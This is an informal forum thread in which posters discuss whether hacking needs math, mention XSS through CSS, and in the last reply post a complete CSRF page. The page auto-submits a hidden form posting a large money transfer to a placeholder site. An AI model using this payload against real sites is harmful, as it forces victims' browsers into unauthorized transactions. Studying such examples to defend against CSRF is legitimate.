(Mar 22, 2015 03:28 AM)ennis Wrote: I like hacking but I suck maths
what should i do?
Most hacking nowadays hardly requires any math, the computers do it for us. As long as you know what ebp+4 means when you're looking at assembly instructions, you're going to be fine.
(Mar 22, 2015 05:01 AM)Th3PonyWizard Wrote: >XSS or any client sided attack without HTML
yes yes good luck
also you can, in some cases, use CSS in XSS for example XBL which allows JS and is embed inside CSS. Not even talking about browser-related elevations you can do. more here:
http://www.tralfamadore.com/2008/08/xsst...h-css.html
of course you'll be absolutely fine without learning HTML/CSS, but not every single thing you ever learn must be used in hacking. This is basic shit you need to understand for the sole purpose of knowing what the fuck is a website
I suppose learning HTML or Javascript would be good for XSS related things but what are the chances that XSS is ever escalated?
It's good for CSRF too, but all you need to know is
Code
<html>
<head>
</head>
<body [b]onload=[/b]"document.forms[0].submit()">
<form action="http://cocks.com/transfer.php" method="post">
<input type="hidden" name="money" value="1000000" />
<input type="hidden" name="email" value="[email protected]" />
</form>
</body>
</html>
